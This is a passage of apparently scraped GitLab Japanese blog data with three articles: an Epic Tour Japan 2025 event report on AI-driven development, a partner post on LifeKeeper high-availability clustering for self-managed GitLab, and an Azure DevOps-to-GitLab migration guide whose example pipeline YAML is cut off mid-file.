Flows](https://docs.gitlab.com/ja-jp/user/duo_agent_platform/flows/)。人間がAIに質問して答えを得るチャットボット形式とは一線を画す概念で、1人の人間が多数のAIエージェントを指揮します。すると、エージェント同士が連携し、計画から実装、テストまでを自律的な流れとして実行することになります。\n\nHaschkaは、「GitLabのAIエージェントは、組織のポリシーというガードレールの下で動きます。だからこそ、リスクを最小限に抑えながらイノベーションを加速できるのです」と話します。「AIは、開発者のためにコードを書いてくれるだけでなく、チームメンバーとして一緒に働いてくれる存在になります」。\n\nAIツールをバラバラに使う段階は終わりました。すでに、統合プラットフォーム上でAIを“良き同僚”として迎え入れる環境は整っています。\n\n## **3つの壁を突破する具体的アプローチ**\n\n![3つの壁を突破する具体的アプローチ](https://res.cloudinary.com/about-gitlab-com/image/upload/v1770083038/gazgh2phoxeiglbzsutt.jpg \"GitLab合同会社 ソリューションアーキテクト 本部長 藤田 周\")\n\n続いて、ソリューションアーキテクト 本部長 藤田 周が登壇しました。藤田は、オープニングで提示された3つの壁に対する、より実践的で技術的な解決策を深掘りしました。\n\n技術的負債の壁は、リアーキテクチャで乗り越えます。古いシステムを単にクラウドに乗せ換える「リホスト」や、すべてを作り直す「リビルド」は、コストの面でも効果の面で現実的にならないケースが目につきます。そこで藤田は、生成AIを活用した「リアーキテクチャ」を提唱します。\n\n具体的には、まずレガシーコードをAIに読み込ませ、人間にとってもAIにとっても理解しやすい「マークダウン形式の設計書」を出力。ブラックボックス化した仕様を可視化した上で、モダンなコードとテストケースをAIに生成させるというアプローチを取ります。これにより、手のつけられなかった旧来のシステムが、最新のアーキテクチャ上で以前と同様の機能を提供してくれるようになります。\n\nセキュリティリスクの壁は、スピードがカギを握ることになります。巷間、「脆弱性が公開されてから攻撃が始まるまで、わずか15分」という数字が語られていますが、これは現実です。攻撃を受けてから人間が会議を開き、パッチ適用の計画を立てている間に、攻撃者はすでに侵入を開始しているのです。\n\n藤田はデモを通じて、GitLabの[Security Analyst Agent](https://docs.gitlab.com/ja-jp/user/duo_agent_platform/agents/foundational_agents/security_analyst_agent/)がこのスピードに対抗できることを示しました。AIエージェントが膨大な脆弱性情報の中から誤検知を取り除き、自動で対応すべき優先順位を付け、さらに修正コードまで作成してくれます。人間はAIの提案を確認してマージボタンを押すだけです。藤田は、「精神論や手動チェックではもう守りきれないのです」と語りました。\n\n人材の壁をクリアする第一歩は、伴走支援のエコシステムを構成することです。エンジニアに求められるスキルセットが変化する中、何らかのツールを導入したり、担当者のスキルアップを図るだけでは、解決策になりません。藤田氏は、専門性の高いパートナー企業による伴走支援の重要性について話し、GitLabをプラットフォームとして開発プロセスを最適化すると同時に、優れたパートナー企業をプロセスに取り込み、さらに組織変革をセットで進めます。その際に、パートナー企業が組織変革についてもサポートしてくれれば理想でしょう。\n\n藤田は講演の中で、[DAP](https://about.gitlab.com/ja-jp/gitlab-duo-agent-platform/)による開発の自律化についても紹介しました。AIが先回りして動いてくれる一例が「Issue to MR」です。AIがイシューを読み、計画を立て、コードを書き、マージリクエストまで作成します。また、人間がレビューする前にAIがセキュリティや規約チェックを行う機能により、人間の負荷を劇的に下げることができます。これら一連の仕組みは、プロジェクト全体のコンテキストをAIが理解することで支えられています。\n\n## **4社の最新事例発表も実施**\n\n![4社の最新事例発表も実施](https://res.cloudinary.com/about-gitlab-com/image/upload/v1770083239/nilg9jbd5b6p6epbybqw.jpg \"お客様の講演\")\n\nこの日のイベントでは、ピクシブ株式会社様、東レ株式会社様、日立グループ様（株式会社日立プラントサービス様、株式会社日立システムズ様）、株式会社みんなの銀行様（登壇順）の4社のユーザー企業様がご登壇され、それぞれの挑戦についてご共有いただきました。各社の取り組みについては、以下のリンクよりご覧ください。\n\n・[株式会社みんなの銀行様](https://about.gitlab.com/ja-jp/blog/epic-tokyo-2025-minna-no-ginko/)\n\n・[東レ株式会社様](https://about.gitlab.com/ja-jp/blog/epic-tokyo-2025-toray/)　**NEW！**\n\n・[ピクシブ株式会社様](https://about.gitlab.com/ja-jp/blog/epic-tokyo-2025-pixiv/)  **NEW!**\n\n・日立グループ様（株式会社日立プラントサービス様、株式会社日立システムズ様）**（近日公開予定）**\n\n## **次は1年後。きっと大きな変化が起きているはず**\n\n![次は1年後。きっと大きな変化が起きているはず](https://res.cloudinary.com/about-gitlab-com/image/upload/v1770083054/p39lvxa768ifqlezd4jw.jpg \"会場の様子\")\n\nクロージングセッションに再登壇した小澤は、部分最適の罠について強調しました。AIを活用することで特定の作業やプロセスが高速化したとしても、それが故に別の場所にボトルネックが生まれることになっては意味がありません。全体最適を目指すことが大切で、そのためにGitLabが持つシングルデータストアという基盤が効いてくることになります。\n\nさらに、GitLabが講演した内容と発表された事例を総括し、「かつてDevOpsはSecurityを加えて[DevSecOps](https://about.gitlab.com/ja-jp/topics/devsecops/)になりました。それがいまや完全に[DevSecOps](https://about.gitlab.com/ja-jp/topics/devsecops/)として一体のものとして認識されています。その上で、AI活用が進んでいるのです」と話します。GitLabのAI Native DevSecOpsも、テクノロジーの通過点であり、さらに最適化された未来が待っているのでしょう。\n\n2026年の秋にもまた、GitLabは「Epic Tour Japan」を実施します。\n\n小澤は、「1年先は近いようで遠いです。いまはまだ読めない変化が起きているはずです。しかし、GitLabも世の中のニーズに合わせて柔軟に進化していきます。来年のこのイベントで、これから生まれる新しい事例を皆様にお伝えできることにワクワクしています」と結び、今年のEpic Tourは盛況のうちに幕を閉じました。",[912],"2026-02-03","AI駆動ソフトウェア開発の攻めと守り【GitLab Epic Tour Japan 2025レポート】",[806,917,695,757,919],"2025年11月に開催した年次イベント「GitLab Epic Tour Japan 2025」の模様をご紹介。",{"featured":13,"template":796,"slug":967},"event-report-epic-tokyo-2025",{"content":969,"config":982},{"heroImage":970,"body":971,"authors":972,"updatedDate":975,"date":976,"title":977,"tags":978,"description":981,"category":693},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1766026372/vmnafxuxmxwzevccjzjz.jpg","***編集部注：私たちは時折、パートナーコミュニティのメンバーにGitLabブログへの寄稿をお願いしています。今回は、サイオステクノロジー株式会社の西下容史氏に寄稿いただきました。***\\\n\\\n***当ブログは、GitLabを運用されている方を対象にしています。開発の中核を担うGitLabは、何らかの障害（例えばサーバーの停止やGitLab自体の停止など）が原因で止まってしまうと、開発業務に大きな影響が出てしまいます。このためGitLabには「止まらない仕組み」が求められています。***\\\n***このブログでは、GitLabの止まらない仕組みを、直感的なGUIが用意されたHAクラスター製品による冗長化構成で実現する方法が紹介されています。***\n\n## **開発を止めないために：GitLabの冗長化を考える**\n\n### GitLabの停止が開発チームに与える影響\n\nGitLabをSelf-Managed版で運用されている企業のインフラ担当者やDevOpsエンジニアの皆さん、GitLabの可用性について不安を感じたことはありませんか？\n\n特に金融系・公共系企業では、セキュリティやコンプライアンスの観点から自社環境でGitLabを運用するケースが増えています。しかし、GitLabが障害で停止してしまうと、開発チーム全体の業務が止まり、システムやサービスのリリースに遅れが発生するなど、ビジネスへの影響は計り知れません。\n\nバージョン管理、CI/CD、課題管理といった開発の中核を担うGitLabだからこそ、「止まらない仕組み」が求められています。\n\n### HAクラスター構成による高可用性の実現\n\nこのような課題に対する有効な解決策が、HAクラスター構成によるGitLabの冗長化です。稼働系と待機系のノードを用意し、障害発生時には自動的に切り替えることで、最小限のダウンタイムでサービスを継続できます。\n\n本記事では、世界で9万ライセンス以上の導入実績を持つHAクラスター製品「LifeKeeper for Linux」を使用した、GitLabの冗長化構成を具体的にご紹介します。Amazon EC2環境でのAZ跨ぎ構成を例に、データ共有の仕組み、障害監視とフェイルオーバーの自動化、そして直感的なGUI操作による管理方法まで、実際の検証結果に基づいて解説していきます。\n\n開発を止めないインフラ基盤の構築を検討されている方は、ぜひ最後までお読みください。\n\n## GitLabとは：開発基盤に求められる高可用性\n\nGitLabは、分散型バージョン管理システムの「Git」を利用したDevSecOpsプラットフォームであり、世界中で多くの企業に採用されています。ファイルのバージョン管理、課題管理、CI/CDパイプラインなど、ソフトウェア開発に必要な機能を統合的に提供します。\n\n## GitLabが停止したときの影響\n\n### GitLab停止時の影響範囲\n\nGitLabが停止すると、以下のような影響が即座に発生します：\n\n\\- **開発作業の停止**: コードのプッシュ・プル、マージリクエストのレビューができなくなる\n\n* **CI/CDの停止**: ビルド、テスト、デプロイといった自動化ワークフローが機能しなくなる\n* **コラボレーションの遮断**: 課題管理やプロジェクト管理機能が使えず、チーム間の連携が途絶える\n* **緊急対応の不可**: 本番環境のバグフィックスやセキュリティパッチ適用ができない\n\n停止時間が数時間に及べば開発計画が大幅に狂い、1日以上の停止は経営層への報告事項となる深刻なビジネスインパクトをもたらします。\n\n### Self-Managed版GitLabにおける冗長化の必要性\n\nGitLabには、SaaS版とSelf-Managed版の2つが提供されています。Self-Managed版は自社で用意した環境（IaaSやオンプレミス）にセットアップして利用するため、可用性の担保は利用者側の責任となります。\n\n特に開発チームの規模が大きい場合や、ミッションクリティカルなシステム開発を行っている場合は、障害発生を前提とした冗長化構成が不可欠です。予め待機系ノードを用意しておき、障害発生時には自動的に稼働系から待機系に切り替えることで、最小限のダウンタイムでの復旧が実現できます。\n\n## 冗長化を実現する技術要素\n\nGitLabの停止リスクに対する有効な解決策が、HAクラスター構成による冗長化です。ここでは、高可用性を実現するための技術要素と、その中核を担う「LifeKeeper for Linux」について解説します。\n\n### HAクラスター構成の基本的な考え方\n\nHAクラスター構成では、稼働系（Active）と待機系（Standby）の2つのノードを用意します。通常時は稼働系でGitLabが動作し、障害が発生した際には自動的に待機系へ切り替わることで、サービスの継続性を確保します。\n\nこの仕組みにより、ハードウェア障害やソフトウェア障害が発生しても、数分程度のダウンタイムでGitLabを復旧できます。重要なのは、待機系が常にスタンバイ状態にあり、稼働系のデータをリアルタイムで同期していることです。これにより、切り替え時にもデータの一貫性が保たれ、開発者は障害発生前とほぼ同じ状態で作業を継続できます。\n\n### LifeKeeper for Linuxとは\n\nLifeKeeper for Linuxは、サイオステクノロジーが提供するHAクラスター製品で、全世界で9万ライセンス以上の導入実績を持つ信頼性の高いソリューションです。Linux環境におけるアプリケーションの高可用性を実現するために設計されており、GitLabのような重要なDevSecOpsプラットフォームの保護に最適です。\n\nLifeKeeperの大きな特徴は、アプリケーションレベルでの可用性担保を実現できる点です。単にサーバーの冗長化を行うだけでなく、GitLabというアプリケーション自体を監視し、異常を検知した際には自動的にフェイルオーバーを実行します。\n\n### 冗長化構成を支える3つの技術要素\n\nLifeKeeperによる冗長化構成は、以下の3つの技術要素で構成されています。\n\n#### 1. データ同期とレプリケーション\n\nLifeKeeperの製品ラインナップである「DataKeeper」は、ローカルディスク（Amazon EC2環境ではEBS）をブロックレベルでリアルタイム同期します。これにより、共有ストレージを使用せずに論理的な共有ディスクを実現できます。稼働系で発生したデータの変更は即座に待機系へ反映されるため、フェイルオーバー時にもデータの整合性が保たれます。\n\n#### 2. 多層的な障害監視\n\nLifeKeeperは2種類の障害監視を並行して実行します。1つ目は、クラスターノード間の相互ハートビート通信によるノード自体の障害監視です。2つ目は、稼働系で動作するGitLabなどのソフトウェアの障害監視です。この多層的な監視により、ハードウェア障害とソフトウェア障害の両方を確実に検知できます。\n\n#### 3. 自動フェイルオーバー機能\n\n障害を検知すると、LifeKeeperは自動的にフェイルオーバーを実行します。待機系ノードでGitLabを起動し、アクセス経路を切り替えることで、サービスを継続します。この一連のプロセスは自動化されているため、深夜や休日に障害が発生した場合でも、管理者の手動介入なしに復旧が完了します。\n\n### 自動フェイルオーバーがもたらすメリット\n\n自動フェイルオーバーの最大のメリットは、復旧時間の短縮です。手動での復旧作業では、障害の検知、原因の特定、復旧手順の実行に多くの時間がかかりますが、自動フェイルオーバーであれば数分以内に復旧が完了します。\\\nまた、人的ミスのリスクも排除できます。緊急時の手動作業では、手順の誤りや設定ミスが発生しがちですが、事前に設定された自動プロセスであれば、確実かつ一貫した復旧が可能です。\\\nさらに、24時間365日の監視体制を人的リソースだけで維持するのは困難ですが、自動フェイルオーバーがあれば、深夜や休日でもシステムが自律的に障害対応を行います。これにより、運用担当者の負担を大幅に軽減できます。\n\n### クラウド環境での冗長化にも対応\n\nLifeKeeperは、Amazon EC2などのクラウド環境での冗長化にも対応しています。標準機能として「Recovery Kit for Route53」や「Recovery Kit for EC2」が提供されており、クラウド特有のネットワーク構成にも柔軟に対応できます。これにより、オンプレミス環境だけでなく、IaaSを利用したSelf-Managed版GitLabの冗長化も実現可能です。\n\n## GitLabのHAクラスター構成\n\nそれでは、LifeKeeper for Linuxを使ってどのようにGitLabを冗長化するのかを見てみましょう。\n\n今回当社では、Amazon EC2環境でAZを跨いだ冗長化構成を検証しました。下記の図は検証構成の概念図です。\n\n![GitLabのHAクラスター構成](https://res.cloudinary.com/about-gitlab-com/image/upload/v1767660747/qdiodwqpg0bgjreswrnf.jpg)\n\n管理クライアントからはRoute53による名前解決でActive側のクラスターノードへのアクセスを実現しています。LifeKeeper for Linuxの標準機能の「Recovery Kit for EC2」を使うことで、スクリプト開発を行わずにGUI上でクラスターのアクセス制御を容易に設定できます。\\\n\\[参考]\\\n今回の検証ではElastic IPによる制御による名前解決を使用しましたが、LifeKeeperは製品の標準機能で下記の方式に対応しています。\\\n[→『LifeKeeper』によるAmazon EC2の冗長化構成の例](https://bccs.sios.jp/usecases/aws.html)\n\n* Recovery Kit for Route53：Route53の名前解決およびクラスターの切り替わり時にAレコードを書き換えて、名前解決した実IPに向けて通信する方式  \n* Recovery Kit for EC2：\n\n\n  - Elastic IPをActiveノードのENIに割り当てることで、外部からActiveノードへの接続を可能にする方式\n  \n  - CIDRの外を指す仮想IPに向けて通信し、クラスターの切り替わり時にルートテーブルの送信先が仮想IPのターゲットを書き換えて通信する方式\n\n\n### データ共有\n\n前述の通り、クラスターノード間のデータ共有には「DataKeeper」を使用しています。本検証では、EBSをブロックレベルでリアルタイム同期することで、論理的な共有ディスクを実現しました。\n\n## 障害監視とフェイルオーバー\n\nLifeKeeperは下記の2種類の障害監視を並行して行っており、障害が検知されると自動的に待機系に切り替え（フェイルオーバー）て復旧を実現します。\n\n1. 相互のハートビート通信によるノードの障害の監視  \n2. Active側の監視対象のソフトウェアの障害の監視\n\n上記の2.については、今回の検証ではQSP（Quick Service Protection）という機能を使っています。QSPはserviceのstatus/stop/startを使って簡易的にソフトウェアを監視や切り替えて保護できる機能です。\\\n\\[参考]\\\n今回の検証ではソフトウェアの保護にQSPを使用しましたが、LifeKeeperは他に下記の2つの方式に対応しています。\n\n* Application Recovery Kit：SIOSが開発した制御スクリプトのラインナップを使う方式  \n* Generic ARK：ユーザーが開発した制御スクリプトをLifeKeeperに組み込んで使う方式\n\n## 直感的な操作を実現するWebGUI\n\nLifeKeeperには直感的な操作を実現するWebGUIが標準機能として提供されています。GitLabのプログラムやファイルシステムなど、各保護対象をクラスターリソースとして登録し、依存関係（起動や停止させる時に他のクラスターリソースを道連れにするかしないか）もツリー構造で直感的かつ効率的に設定できます。\n\n＜クラスターの切り替え前＞\n\n![直感的な操作を実現するWebGUI - クラスターの切り替え前](https://res.cloudinary.com/about-gitlab-com/image/upload/v1767661178/riengalkhmlzhdy1dx4r.jpg)\n\n＜クラスターの切り替え後＞\n\n![直感的な操作を実現するWebGUI - クラスターの切り替え後](https://res.cloudinary.com/about-gitlab-com/image/upload/v1767661364/fo4sjpey107bgsztwijp.jpg)\n\n手順の詳細はぜひ検証レポートをご覧ください。下記からダウンロード頂けます。\n\nhttps://mk.sios.jp/lifekeeper-gitlab-report_l\n\n## まとめとHAクラスター製品「LifeKeeper」について\n\nここまでご覧頂きました通り、開発の中核を担うGitLabには「止まらない仕組み」が求められています。このためには、GitLabの障害を自動的に検知・復旧し、安定した運用が求められます。こうした冗長化構成を、直感的なWebのGUI上で容易に構築できるのが「LifeKeeper」なのです。\n\n「LifeKeeper」は、サイオステクノロジーが提供する全世界で9万ライセンス以上の導入実績があるHAクラスター製品です。「LifeKeeper」を導入することで、アプリケーションレベルでの可用性担保の実現に加えて、データレプリケーション製品の「DataKeeper」と組み合わせることで共有ストレージを使用せずクラウド上でシステムを冗長化させ、システム全体の可用性が高められます。\\\n詳細情報は、\u003Chttps://bccs.sios.jp/lifekeeper/> をご覧ください。\n\n> ### *サイオステクノロジーについて*\n>\n> *サイオステクノロジーは、Linuxに代表されるオープンソースソフトウェアを活用したシステムインテグレーションを原点とし、自社開発ソフトウェアおよびSaaSの販売とサービスを行っています。直近では、クラウドをはじめとするDXの技術領域に注力し、AIの活用支援や次世代を支える製品とサービスを提供しています。これからも革新的なソフトウェア技術を追求し、世界のIT産業に影響力のある存在となって価値を創造し、社会の発展に貢献してまいります。*\\\n> *詳細情報は、\u003Chttps://sios.jp> をご覧ください。*",[973,974],"Tsukasa Komatsubara","Hiroshi Nishishita, SIOS Technology, Inc.","2026-01-07","2025-12-19","GitLabを少ない工数で冗長化して安定運用を実現する ～HAクラスターソフトウェア「LifeKeeper」による冗長化～",[979,211,257,980],"cloud native","production","この記事では、GitLabの止まらない仕組みを、直感的なGUIが用意されたHAクラスター製品による冗長化構成で実現する方法をご紹介します。",{"featured":641,"template":796,"slug":983},"gitlab-high-availability-with-lifekeeper-hacluster",{"category":708,"slug":706,"posts":985},[986,1001,1015],{"content":987,"config":999},{"heroImage":988,"body":989,"authors":990,"updatedDate":993,"date":994,"title":995,"tags":996,"description":998,"category":706},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749658924/Blog/Hero%20Images/securitylifecycle-light.png","Azure DevOpsからGitLabへの移行は困難な作業のように思えるかもしれませんが、適切なアプローチとツールを使用すれば、スムーズかつ効率的に進められます。このガイドでは、Azure DevOpsからGitLabへプロジェクト、リポジトリ、パイプラインを正常に移行するために必要な手順を説明します。\n\n## 概要\n\nGitLabは、Azure DevOps（ADO）からプロジェクトを移行するための[Congregate](https://gitlab.com/gitlab-org/professional-services-automation/tools/migration/congregate/)([GitLabプロフェッショナルサービス（PS）](https://about.gitlab.com/ja-jp/professional-services/)によって管理）と[組み込みのGitリポジトリインポート](https://docs.gitlab.com/user/project/import/repo_by_url/)の両方を提供しています。これらのオプションは、リポジトリごとまたは一括移行をサポートし、Gitコミット履歴、ブランチ、タグを保持します。Congregateとプロフェッショナルサービスのツールを使用すると、Wiki、作業アイテム、CI/CD変数、コンテナイメージ、パッケージ、パイプラインなどの追加アセットもサポートされます（この[機能マトリクス](https://gitlab.com/gitlab-org/professional-services-automation/tools/migration/congregate/-/blob/master/customer/ado-migration-features-matrix.md)を参照）。このガイドを参照すれば、移行を計画・実行し、移行後のフォローアップタスクを完了できます。\n\nADOからGitLabへ移行する企業は、一般的に複数フェーズのアプローチに従います：\n\n* CongregateまたはGitLabの組み込みリポジトリ移行を使用して、ADOからGitLabにリポジトリを移行します。\n* AzureパイプラインからGitLab CI/CDにパイプラインを移行します。\n* ボード、作業アイテム、アーティファクトなどの残りのアセットを、GitLabのイシュー、エピック、パッケージレジストリ、コンテナレジストリに移行します。\n\n移行フェーズの概要:\n\n```mermaid\ngraph LR\n    subgraph Prerequisites\n        direction TB\n        A[\"IDプロバイダー（IdP）を設定し\u003Cbr/>ユーザーをプロビジョニング\"]\n        A --> B[\"Runnerとサードパーティ\u003Cbr/>インテグレーションを設定\"]\n        B --> I[\"ユーザーの有効化と\u003Cbr/>変更管理\"]\n    end\n    \n    subgraph MigrationPhase[\"移行フェーズ\"]\n        direction TB\n        C[\"ソースコードを移行\"]\n        C --> D[\"コントリビューションを保持し\u003Cbr/>履歴をフォーマット\"]\n        D --> E[\"作業アイテムを移行し\u003Cbr/>\u003Ca href=\"https://docs.gitlab.com/topics/plan_and_track/\">GitLab Plan\u003Cbr/>および作業追跡\u003C/a>にマッピング\"]\n    end\n    \n    subgraph PostMigration[\"移行後の手順\"]\n        direction TB\n        F[\"ADOパイプラインを\u003Cbr/>GitLab CIに作成または変換\"]\n        F --> G[\"その他のアセット、パッケージ、\u003Cbr/>コンテナイメージを移行\"]\n        G --> H[\"\u003Ca href=\"https://docs.gitlab.com/user/application_security/secure_your_application/\">セキュリティ\u003C/a>と\u003Cbr/>SDLC改善を導入\"]\n    end\n    \n    Prerequisites --> MigrationPhase\n    MigrationPhase --> PostMigration\n\n    style A fill:#FC6D26\n    style B fill:#FC6D26\n    style I fill:#FC6D26\n    style C fill:#8C929D\n    style D fill:#8C929D\n    style E fill:#8C929D\n    style F fill:#FFA500\n    style G fill:#FFA500\n    style H fill:#FFA500\n```\n\n## 移行の計画\n\n**移行を計画するにあたり、次の質問を検討します:**\n\n* 移行をいつまでに完了する必要があるか?\n* 何が移行されるかを理解しているか?\n* 誰が移行を実行するか?\n* GitLabでどのような組織構造を望むか?\n* 考慮すべき制約、制限、落とし穴はあるか?\n\nタイムラインを決定します。これは移行アプローチを大きく左右します。ADOとGitLabの両プラットフォームに精通したチャンピオンやグループ（アーリーアダプターなど）を特定し、導入を推進してアドバイスを提供してもらいます。\n\n**移行が必要なものをインベントリ化:**\n\n* リポジトリ、プルリクエスト、コントリビューターの数\n* 作業アイテムとパイプラインの数と複雑さ\n* リポジトリのサイズと依存関係\n* 重要なインテグレーションとRunner要件（特定の機能を持つエージェントプール）\n\nGitLab プロフェッショナルサービスの[Evaluate](https://gitlab.com/gitlab-org/professional-services-automation/tools/utilities/evaluate#beta-azure-devops)ツールを使用して、リポジトリ、PR数、コントリビューターリスト、パイプライン数、作業アイテム、CI/CD変数などを含むAzure DevOps組織全体の完全なインベントリを作成します。GitLabプロフェッショナルサービスチームと連携している場合は、このレポートをエンゲージメントマネージャーまたはテクニカルアーキテクトと共有し、移行計画に役立ててください。\n\n移行のタイミングは、主にプルリクエスト数、リポジトリサイズ、コントリビューション量（PRのコメント、作業アイテムなど）によって決まります。たとえば、PRが少なくコントリビューターが限られた1,000の小規模リポジトリは、数万のPRと数千のコントリビューターを含む少数のリポジトリよりもはるかに高速に移行できます。インベントリデータを使用して作業量を見積もり、本番移行を進める前にテスト実行を計画します。\n\nインベントリを希望のタイムラインと比較し、すべてのリポジトリを一度に移行するか、バッチで移行するかを決定します。チームが同時に移行できない場合は、チームのスケジュールに合わせて移行をバッチ化し、段階的に実行します。たとえば、プロフェッショナルサービスのエンゲージメントでは、複雑さを管理し、[GitLab](https://docs.gitlab.com/security/rate_limits/)と[ADO](https://learn.microsoft.com/en-us/azure/devops/integrate/concepts/rate-limits?view=azure-devops)の両方のAPIレート制限を尊重するために、200〜300プロジェクト単位の段階に分割して移行を実施します。\n\nGitLabの組み込み[リポジトリインポーター](https://docs.gitlab.com/user/project/import/repo_by_url/)は、Gitリポジトリ（コミット、ブランチ、タグ）を1つずつ移行します。Congregateは、可能な限りプルリクエスト（GitLabではマージリクエストとして知られています）、コメント、関連メタデータを保持するように設計されています。シンプルな組み込みリポジトリインポートは、Gitデータ（履歴、ブランチ、タグ）のみに焦点を当てています。\n\n**通常、個別の移行または手動での再作成が必要な項目:**\n\n* Azureパイプライン - 同等のGitLab CI/CDパイプラインを作成([CI/CD YAML](https://docs.gitlab.com/ci/yaml/)または[CI/CDコンポーネント](https://docs.gitlab.com/ci/components/)を参照)。または、CongregateのAIベースのパイプライン変換を使用することを検討してください。\n* 作業アイテムとボード - GitLabのイシュー、エピック、イシュー ボードにマッピング。\n* アーティファクト、コンテナイメージ(ACR) - GitLabパッケージレジストリまたはコンテナレジストリに移行。\n* サービスフックと外部インテグレーション - GitLabで再作成。\n* [権限モデル](https://docs.gitlab.com/user/permissions/)はADOとGitLabで異なります。完全な保持を想定するのではなく、権限マッピングを確認および計画してください。\n\n各ツール（Congregateと組み込みインポート）が何を移行するかを確認し、ニーズに合ったものを選択します。手動で移行または再作成する必要があるデータやインテグレーションのリストを作成します。\n\n**誰が移行を実行するか?**\n\n移行は通常、GitLabグループオーナーまたはインスタンス管理者、または移行先グループ/プロジェクトに必要な権限を付与された指定の移行担当者によって実行されます。CongregateとGitLabインポートAPIには、Azure DevOpsとGitLabの両方の有効な認証トークンが必要です。\n\n* グループオーナー/管理者が移行を実行するか、特定のチーム/個人に委任アクセスを付与するかを決定します。\n* 移行担当者が、選択した移行ツールに必要なスコープ（api/read_repositoryスコープやツール固有の要件など）を持つ個人アクセストークン（Azure DevOpsとGitLab）を正しく設定していることを確認します。\n* 小規模なパイロット移行でトークンと権限をテストします。\n\n**注:** CongregateはADO移行のためにファイルベースのインポート機能を活用し、実行にはインスタンス管理者権限が必要です（[ドキュメントを参照](https://docs.gitlab.com/user/project/settings/import_export/#migrate-projects-by-uploading-an-export-file)）。GitLab.comに移行する場合は、プロフェッショナルサービスの利用を検討してください。詳細については、[Professional Services Full Catalog](https://about.gitlab.com/professional-services/catalog/)を参照してください。管理者以外のアカウントでは、コントリビューションの帰属を保持できません。\n\n**GitLabでどのような組織構造を望むか?**\n\nADO構造をGitLab構造に直接マッピングすることは可能ですが、移行中に構造を合理化および簡素化することをお勧めします。チームがGitLabでどのように作業するかを検討し、コラボレーションとアクセス管理を促進する構造を設計します。ADO構造をGitLab構造にマッピングする方法は次のとおりです。\n\n```mermaid\ngraph TD\n    subgraph GitLab\n        direction TB\n        A[\"トップレベルグループ\"]\n        B[\"サブグループ（オプション）\"]\n        C[\"プロジェクト\"]\n        A --> B\n        A --> C\n        B --> C\n    end\n\n    subgraph AzureDevOps[\"Azure DevOps\"]\n        direction TB\n        F[\"組織\"]\n        G[\"プロジェクト\"]\n        H[\"リポジトリ\"]\n        F --> G\n        G --> H\n    end\n\n    style A fill:#FC6D26\n    style B fill:#FC6D26\n    style C fill:#FC6D26\n    style F fill:#8C929D\n    style G fill:#8C929D\n    style H fill:#8C929D\n```\n\n推奨アプローチ:\n\n* 各ADO組織をGitLabグループ（または少数のグループ）にマッピングし、多数の小さなグループには分割しないでください。ADOチームプロジェクトごとにGitLabグループを作成することは避けてください。移行をGitLab構造を合理化する機会として活用してください。\n* サブグループとプロジェクトレベルの権限を使用して、関連リポジトリをグループ化します。\n* GitLabグループとグループメンバーシップ（グループとサブグループ）を使用してプロジェクトのセットへのアクセスを管理し、チームプロジェクトごとに1つのグループを作成しないでください。\n* GitLabの[権限](https://docs.gitlab.com/ee/user/permissions.html)を確認し、[SAML Group Links](https://docs.gitlab.com/user/group/saml_sso/group_sync/)を検討して、GitLabインスタンス（またはGitLab.comネームスペース）のエンタープライズRBACモデルを実装します。\n\n**ADOボードと作業アイテム: 移行の状態**\n\n作業アイテムがADOからGitLab Plan（イシュー、エピック、ボード）にどのように移行されるかを理解することが重要です。\n\n* ADOボードと作業アイテムは、GitLabのイシュー、エピック、イシューボードにマッピングされます。ワークフローとボード設定がどのように変換されるかを計画します。\n* ADOのエピックと機能は、GitLabのエピックになります。\n* その他の作業アイテムタイプ（ユーザーストーリー、タスク、バグなど）は、プロジェクトスコープのイシューになります。\n* ほとんどの標準フィールドが保持されます。サポートされている場合、選択したカスタムフィールドを移行できます。\n* 親子関係が保持されるため、エピックはすべての関連イシューを参照します。\n* プルリクエストへのリンクはマージリクエストリンクに変換され、開発のトレーサビリティが維持されます。\n\n例: 個別の作業アイテムのGitLabイシューへの移行（フィールドの正確性と関係性を含む）:\n\n![例: 個別の作業アイテムのGitLabイシューへの移行](https://res.cloudinary.com/about-gitlab-com/image/upload/v1764769188/ztesjnxxfbwmfmtckyga.png)\n\nバッチ処理のガイダンス:\n\n* バッチで移行を実行する必要がある場合は、新しいグループ/サブグループ構造を使用してバッチを定義します（たとえば、ADO組織ごと、または製品領域ごと）。\n* インベントリレポートを使用してバッチ選択を推進し、スケールアップする前に各バッチをパイロット移行でテストします。\n\n**パイプライン移行**\n\nCongregateは最近、Azure DevOpsからGitLab CI/CDへのマルチステージYAMLパイプラインのAI搭載変換を[導入しました](https://gitlab.com/gitlab-org/professional-services-automation/tools/migration/congregate/-/merge_requests/1298)。この自動変換は、シンプルな単一ファイルパイプラインに最適で、本番環境対応の`.gitlab-ci.yml`ファイルではなく、動作する出発点を提供するように設計されています。このツールは、機能的に同等のGitLabパイプラインを生成し、その後特定のニーズに合わせて調整および最適化できます。\n\n* Azureパイプライン YAMLを`.gitlab-ci.yml`形式に自動変換します。\n* シンプルな単一ファイルパイプライン設定に最適です。\n* 移行を加速するためのボイラープレートを提供し、最終的な本番環境アーティファクトではありません。\n* 複雑なシナリオ、カスタムタスク、エンタープライズ要件については、レビューや調整が必要です。\n* Azure DevOpsのクラシックリリースパイプラインはサポートしていません — 最初に[マルチステージYAMLに変換](https://learn.microsoft.com/en-us/azure/devops/pipelines/release/from-classic-pipelines?view=azure-devops)してください。\n\nリポジトリオーナーは、初期変換後にパイプラインをさらに最適化および強化するために、[GitLab CI/CDドキュメント](https://docs.gitlab.com/ci/)を確認する必要があります。\n\n変換されたパイプラインの例:\n\n```yml\n# azure-pipelines.yml\n\ntrigger:\n  - main\n\nvariables:\n  imageName: myapp\n\nstages:\n  - stage: Build\n    jobs:\n      - job: Build\n        pool:\n          vmImage: 'ubuntu-latest'\n        steps:\n          - checkout: self\n\n          - task: Docker@2\n            displayName: Build Docker image\n            inputs:\n              command: build\n              repository: $(imageName)\n              Dockerfile: '**/Dockerfile'\n              tags: |\n                $(Build.BuildId)\n\n  - stage: Test\n    jobs:\n      - job: Test\n        pool:\n          vmImage: 'ubuntu-latest'\n        steps:\n          - checkout: self\n\n          # Example: run tests inside the container\n          - script: |\n              docker run --rm $(imageName):$(Build.BuildId) npm test\n            displayName: Run tests\n\n  - stage: Push\n    jobs:\n      - job: Push\n        pool:\n          vmImage: 'ubuntu-latest'\n        steps:\n          - checkout: self\n\n          - task: Docker@2\n            displayName: Login to ACR\n            inputs:\n              command: login\n              containerRegistry: '\u003Cyour-acr-service-connection>'\n\n          - task: Docker@2\n            displayName: Push image to ACR\n            inputs:\n              command: push\n              repository: $(imageName)\n              tags: |\n                